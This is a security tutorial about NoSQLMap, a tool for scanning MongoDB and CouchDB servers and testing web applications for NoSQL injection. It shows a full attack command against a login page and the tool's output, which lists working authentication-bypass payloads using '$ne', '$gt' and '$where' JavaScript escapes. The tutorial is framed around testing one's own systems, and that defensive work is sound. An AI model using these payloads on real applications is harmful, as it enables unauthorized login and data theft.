NoSQLMap


Today we are going to take a look at NoSQLMap - a tool that is designed to find and exploit various NoSQL vulnerabilities. NoSQLMap is largely oriented towards testing MongoDB and CouchDB, but support for other NoSQL databases such as Redis and Cassandra is planned for future releases.

The current landscape

Various data-leaks over the recent years have been attributed to people leaving MongoDB and other NoSQL databases unsecured and accessible to anyone. A few examples include:

Over 275 Million Records Exposed by Unsecured MongoDB Database (May 8, 2019) A huge MongoDB database exposing 275,265,298 records of Indian citizens containing detailed personally identifiable information (PII) was left unprotected on the Internet for more than two weeks.

Unsecured MongoDB database exposes real-time locations of families (25 Mar, 2019) The popular family tracking app Family Locator has for weeks exposed the real-time unencrypted location data of over 238,000 of its users

No more privacy: 202 Million private resumes exposed (10 Jan, 2019) 854 GB sized MongoDB database was left unattended, with no password/login authentication needed to view and access the details of what appeared to be more than 200 million very detailed resumes of Chinese job seekers.

MongoDB server leaks 11 million user records from e-marketing service (18 Sept, 2018) The data, contained in a 43.5GB dataset, included full names, email addresses, gender information, and physical addresses such as state, city, and ZIP code for 10,999,535 users.

The list goes on and on. If only there was an automated tool to check if your database was configured correctly…

Why not nmap?

You can already find online mongodb servers fairly well with nmap, which also includes scripts specifically for mongodb:

The following command will show all mongodb instances which are listening on the default port, their names, if they require authentication and various info about the mongodb server, such as version number, name of executable, process ID, hostname and alot of debug information.

nmap -p 27017 --script mongodb-* <target>

Whilst being a very useful tool in finding unauthenticated mongodb servers, nmap does not detect common MongoDB vulnerabilities. Most public mongodb servers are indexed by Shodan.io anyway.

Why not mongoaudit?

There’s also mongoaudit which helps to test for security misconfigurations and various vulnerabilities. If you do any DevOps and use mongo, go check it out now. Its CLI is a rather fancy material design, powered by urwid.

object_export

The following is a list of tests supported by mongoaudit, taken from their GitHub page:

  • MongoDB listens on a port different to default one
  • Server only accepts connections from whitelisted hosts / networks
  • MongoDB HTTP status interface is not accessible on port 28017
  • MongoDB is not exposing its version number
  • MongoDB version is newer than 2.4
  • TLS/SSL encryption is enabled
  • Authentication is enabled
  • SCRAM-SHA-1 authentication method is enabled
  • Server-side Javascript is forbidden
  • Roles granted to the user only permit CRUD operations
  • The user has permissions over a single database
  • … and a bunch of CVEs

Mongoaudit does what it says on the tin, and does it well. However, if you do not have direct access to the database, you are going to need to go through the web application - that’s where NoSQLMap comes in.

Setting up

NoSQLMap can be installed by cloning their repository from GitHub and running the setup script.

git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

Requirements for running NoSQLMap are installed during setup, but Metasploit Framework

To run, just use the nosqlmap.py command. You should be greeted by something similar to the following screenshot:

object_export

List of features:

  • Automated MongoDB and CouchDB database enumeration and cloning attacks.
  • Extraction of database names, users, and password hashes through MongoDB web applications.
  • Scanning subnets or IP lists for MongoDB and CouchDB databases with default access and enumerating versions.
  • Dictionary and brute force password cracking of recovered MongoDB and CouchDB hashes.
  • PHP application parameter injection attacks against MongoClient to return all database records.
  • Javascript function variable escaping and arbitrary code injection to return all database records.
  • Timing based attacks similar to blind SQL injection to validate Javascript injection vulnerabilities with no feedback from the application.

Scan for servers without authentication

Given a list of IP addresses or a subnet, NoSQLMap finds all MongoDB or CouchDB servers listening on the default port (27017 or 5984) without authentication.

Attack a server directly

The authentication of the server, web management interface and REST interface is tested. In a successful attack, the database can be enumerated, cloned, stolen and held for ransom. NoSQLMap also includes support for a Metasploit exploit if the running mongo version is 2.2.3 or older, which would allow remote code execution.

Attack a web application

Given a web app host, port and path, the tool will attempt to discover NoSQL injections. There is support for GET and POST requests, as well as adding your own request headers. With POST requests, setting the options from command line arguments can be less cumbersome than the provided oldschool CLI menu.

For example, for attacking a login page, NoSQLMap could be used like this:

nosqlmap.py --attack 2 --victim target.lan --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log

A brief explanation of the command line arguments:

  • --attack 2 - Use the NoSQL Web App attacks
  • --victim target.lan - The target host is target.lan
  • --webPort 80 - The target webserver is listening on port 80
  • --uri /login - The web path to attack
  • --httpMethod POST - Use POST requests
  • --postData email,test@test.test,password,qwerty - Use this CSV data for POST request
  • --injectedParameter 1 - Inject into the first parameter (as listed by NoSQLMap)
  • --injectSize 4 - The injected random string values should be 4 characters long
  • --injectFormat 2 - For injected strings, use the “letters only” format
  • --savePath output.log - Save all findings to a file called output.log

Example output:

user@host$ nosqlmap.py --attack 2 --victim target.lan --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
Web App Attacks (POST)
===============
Checking to see if site at target.lan:80/login is up...
App is up!
List of parameters:
1-password
2-email
Injecting the password parameter...
Using VBxF for injection testing.

Sending random parameter value...
Got response length of 2552.
No change in response size injecting a random parameter..

Test 1: PHP/ExpressJS != associative array injection
Successful injection!

Test 2:  PHP/ExpressJS > Undefined Injection
Successful injection!
Test 3: $where injection (string escape)
Successful injection!

Test 4: $where injection (integer escape)
Successful injection!

Test 5: $where injection string escape (single record)
Successful injection!

Test 6: $where injection integer escape (single record)
Successful injection!

Test 7: This != injection (string escape)
Successful injection!

Test 8:  This != injection (integer escape)
Successful injection!

Exploitable requests:
{'email': 'test@test.test', 'password[$ne]': 'VBxF'}
{'email': 'test@test.test', 'password[$gt]': ''}
{'password': "a'; return db.a.find(); var dummy='!", 'email': 'test@test.test', 'password[$gt]': ''}
{'password': '1; return db.a.find(); var dummy=1', 'email': 'test@test.test', 'password[$gt]': ''}
{'password': "a'; return db.a.findOne(); var dummy='!", 'email': 'test@test.test', 'password[$gt]': ''}
{'password': '1; return db.a.findOne(); var dummy=1', 'email': 'test@test.test', 'password[$gt]': ''}
{'password': "a'; return this.a != 'VBxF'; var dummy='!", 'email': 'test@test.test', 'password[$gt]': ''}
{'password': "1; return this.a != 'VBxF'; var dummy=1", 'email': 'test@test.test', 'password[$gt]': ''}

Possibly vulnerable requests:

Timing based attacks:
String attack-Unsuccessful
Integer attack-Unsuccessful

We can see from the example that by pointing NoSQLMap at a vulnerable login page, it found 8 different request bodies that allow us to login as any user.

Further info

For more information, have a look at nosqlmap.py --help or dig into the source code on GitHub.

Conclusion

We can see that even if the database server is protected and configured according to the MongoDB security checklist, a vulnerability in an unsecurely developed application can be found and exploited with an automated tool such as NoSQLMap. If you are not making an effort to test the security of your configuration, then attackers will.

Kert Ojasoo